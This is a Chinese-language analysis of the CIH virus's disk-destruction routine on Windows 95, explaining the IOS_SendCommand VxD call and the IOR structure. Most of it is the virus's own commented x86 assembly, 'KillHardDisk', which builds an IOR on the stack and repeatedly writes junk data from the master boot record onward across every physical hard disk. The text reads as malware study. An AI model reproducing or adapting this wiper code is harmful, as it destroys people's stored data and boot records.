IOS_SendCommand是Win95的一个非常底层的VXD调用,通常是用作对IO设备的低层
操作,如:读,写,加锁,格式化等等。一般情况下只能在Ring 0和虚拟机中使用,在普通
程序中使用会有不可预料的后果!该VXD调用的功能很多,也很繁杂。参数数量很少,只有
BCB或IOR和BDD或DCB的地址。但这几个数据结构却包含了大量的信息,结构也相当的复杂
。CIH病毒只用到了IOR结构,它包含了近二十个数据,但主要用到的就是IOR_func,IOR_s
tatus,IOR_flags,IOR_start_addr[2],IOR_xfer_count,IOR_buffer_ptr,IOR_req_re
q_handle,IOR_req_vol_handle,IOR_sgd_lin_phys,IOR_num_sgds,IOR_vol_designtr!
IOS_SendCommand的调用方法是:
mov esi, CmdData ; address of BCB or IOR
mov edi, DevData ; address of BDD or DCB
VxDCall IOS_SendCommand
IOR的完整定义为:
typedef struct _IOR {
ULONG IOR_next; // client link; see below
USHORT IOR_func; // function; see below
USHORT IOR_status; // request status; see below
ULONG IOR_flags; // request flags; see below
CMDCPLT IOR_callback; // address of callback; see below
ULONG IOR_start_addr[2]; // starting address; see below
ULONG IOR_xfer_count; // # of sectors/bytes; see below
ULONG IOR_buffer_ptr; // client buffer; see below
ULONG IOR_private_client; // BlockDev/IOS client reserved
ULONG IOR_private_IOS; // reserved space for IOS
ULONG IOR_private_port; // private area for port driver
union urequestor_usage _ureq; // requestor usage; see below
ULONG IOR_req_req_handle; // request handle; see below
ULONG IOR_req_vol_handle; // media handle; see below
ULONG IOR_sgd_lin_phys; // first physical SGD; see below
UCHAR IOR_num_sgds; // number of physical SGDs
UCHAR IOR_vol_designtr; // drive letter; see below
USHORT IOR_ios_private_1; // reserved by IOS to force alignment
ULONG IOR_reserved_2[2]; // reserved for internal use
} IOR, *PIOR;
CIH病毒先构造一个IOR,再使用IOS_SendCommand调用,完成IOR所指定的功能。
病毒在IOR中的IOR_flags中指示要写的设备为物理设备(IORF_PHYS_CMD),同步调用(IORF
_SYNC_COMMAND),即在写操作完成之后才返回。然后指定第一次写的位置为0(IOR_start_a
ddr[2]即0柱面0面0扇区,即主引导区),每次写入2048个字节(IOR_xfer_count),第一次
为物理硬盘一(IOR_vol_designtr=80h),需要写入的东西放在内存0c0001000h(IOR_buffe
r_ptr),这个地址是无所谓的,目的只是要随便写一大串无关数据到硬盘上,只要该地址不
是指向不存在的内存空间即可。最后CIH调用IOS_SendCommand,完成一次写操作!操作完
成后,先判断状态(IOR_status),看是否有该设备是否正常,是则每次2048字节的一直写
下去。如果写完一个硬盘(不太可能)或出错则把IOR_vol_designtr+1使之指向下一个物理
硬盘!
程序注释如下:
; ***************************
; * Kill All HardDisk *
; ***************************************************
; * IOR Structure of IOS_SendCommand Needs *
; ***************************************************
; * ?? ?? ?? ?? 01 00 ?? ?? 01 05 00 40 ?? ?? ?? ?? *
; * 00 00 00 00 00 00 00 00 00 08 00 00 00 10 00 c0 *
; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? *
; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? *
; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 80 ?? ?? *
; ***************************************************
;0001为写功能IOR_WRITE
;40000501h为IOR_flags=1000000000000000000010100000001
;IORF_PHYS_CMD|IORF_VERSION_002|IORF_SYNC_COMMAND|IORF_HIGH_PRIORITY
;IORF_PHYS_CMD指示为物理设备
;IORF_SYNC_COMMAND指示为同步命令(操作完成后才返回)
;IORF_VERSION_002指示为扩展BCB(IOR)格式的IO请求
;IOR_start_addr[2]=00 00 00 00 00 00 00 00起始位置
(注意:不是扇区,而是字节)为0
;IOR_xfer_count=800h写入2048个字节
;IOR_buffer_ptr=0c0001000h要写的内容在地址0c0001000h
;IOR_vol_designtr=80h为第一个物理硬盘81h为第二个
KillHardDisk:
xor ebx, ebx
mov bh, FirstKillHardDiskNumber
push ebx
sub esp, 2ch
push 0c0001000h
mov bh, 08h
push ebx
push ecx
push ecx
push ecx
push 40000501h
inc ecx
push ecx
push ecx
mov esi, esp
sub esp, 0ach
;以压栈的形式构造IOR(就是上面那一大串数据)
LoopOfKillHardDisk:
int 20h
dd 00100004h ;调用 IOS_SendCommand
cmp word ptr [esi+06h], 0017h
;IOR_status=17h=IORS_NO_DEVICE设备正常
否?
je KillNextDataSection ;写下一块
ChangeNextHardDisk:
inc byte ptr [esi+4dh]
;下个硬盘,80h为第一个物理硬盘81h为第二个
jmp LoopOfKillHardDisk ;继续杀杀杀!!!!
KillNextDataSection:
add dword ptr [esi+10h], ebx
;下个区域(以800h为一块)
mov byte ptr [esi+4dh], FirstKillHardDiskNumber
;第一个物理硬盘80h
jmp LoopOfKillHardDisk ;继续杀杀杀!!!!